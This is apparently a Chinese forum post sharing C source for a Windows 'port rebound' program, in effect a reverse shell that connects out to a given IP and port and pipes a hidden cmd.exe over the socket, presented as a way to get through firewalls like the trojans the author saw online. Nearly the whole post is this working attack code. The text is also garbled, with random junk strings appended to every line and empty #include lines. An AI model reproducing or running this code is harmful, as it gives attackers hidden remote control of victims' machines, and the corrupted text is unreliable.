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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '-myOM7  
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/* ============================== -f?  
Rebound port in Windows NT e <+)IW:  
By wind,2006/7 E3a^"V3p  
===============================*/ ok6t| 7sq  
#include Gt{%O>P8t  
#include 5~pxu  
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#pragma comment(lib,"wsock32.lib") TgJ+:^+0  
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void OutputShell(); -e$ T}3IV  
SOCKET sClient; Qz=e'H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xw{K,; WeO  
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void main(int argc,char **argv) B _ J2Bf  
{ e 6wevK\  
WSADATA stWsaData; @ddCVxd  
int nRet; LawE 3CD  
SOCKADDR_IN stSaiClient,stSaiServer; K!AA4!eUzM  
h}|.#!C3  
if(argc != 3) uj)vh  
{ Iep_,o.Sk  
printf("Useage:\n\rRebound DestIP DestPort\n"); u~,hT Y(%  
return; 0B[~j7EGO  
} V.8Vy1$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); c)Ng9p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PE;<0Cz\  
){mqo%{SO  
stSaiClient.sin_family = AF_INET; >'#vC]@  
stSaiClient.sin_port = htons(0); P#3J@aRC  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N[-$*F,:_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KCpq<A%  
{ qsEFf(9G  
printf("Bind Socket Failed!\n"); k]AL\) &W  
return; Zk~Pq%u  
} {oAD;m`  
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stSaiServer.sin_family = AF_INET; 3rMi:*?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7[ n |3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g?iZ RM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]w,|WZm  
{ vH}VieU  
printf("Connect Error!"); 7}NvO"u  
return; S@[NKY  
} >mtwXmI  
OutputShell(); Zqf ovG  
} IR3+BDE)>  
N`d%4)|{  
void OutputShell() _s<BXj  
{ /F^ Jn_  
char szBuff[1024]; n4B uM R  
SECURITY_ATTRIBUTES stSecurityAttributes; ,Y| ;V  
OSVERSIONINFO stOsversionInfo; zr A3bWs  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yD$d^/:  
STARTUPINFO stStartupInfo; _J2?B?S/j  
char *szShell; Z6M qcAJ3j  
PROCESS_INFORMATION stProcessInformation; +t-_FbFh3D  
unsigned long lBytesRead; 'ahz@+l O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A:4&XRYZY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nxEC6Vh'  
stSecurityAttributes.lpSecurityDescriptor = 0; b%x=7SMXO  
stSecurityAttributes.bInheritHandle = TRUE; XL44pE m  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L)<~0GcP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M%$ITE  
h'GOO(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uwi.Sg11  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F( /Ka@  
stStartupInfo.wShowWindow = SW_HIDE; X]2x0  
stStartupInfo.hStdInput = hReadPipe; S&&Q U #  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kZ6:= l  
1:yil9.\*  
GetVersionEx(&stOsversionInfo); |}8SjZcQW  
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switch(stOsversionInfo.dwPlatformId) YuHXm3[  
{ :}q)]W  
case 1: @o1#J` rv  
szShell = "command.com"; z[vu- f9  
break; gw">xt5  
default: M17+F?27M  
szShell = "cmd.exe"; ;jQ^8 S  
break; Ps(oxj7  
} fGA#0/_`  
'"c`[L7Wn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x <aR|r  
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send(sClient,szMsg,77,0); 5zZQt +Ip  
while(1) BhjDyB  
{ 'n"we# [  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0k_3]Li=(  
if(lBytesRead) {~#PM>f  
{ hpbi!g  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6wbH{}\ll  
send(sClient,szBuff,lBytesRead,0); 3A =\Mb  
} .h/2-pQ>  
else S !lrnH  
{ lqO>Q1_{K  
lBytesRead=recv(sClient,szBuff,1024,0); A@Zqh<,Ud  
if(lBytesRead<=0) break; ] M#LB&Pe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  > T:0  
} *)?'!  
} b5.]}>]t  
R?#=^$7U  
return; ~e)"!r  
}
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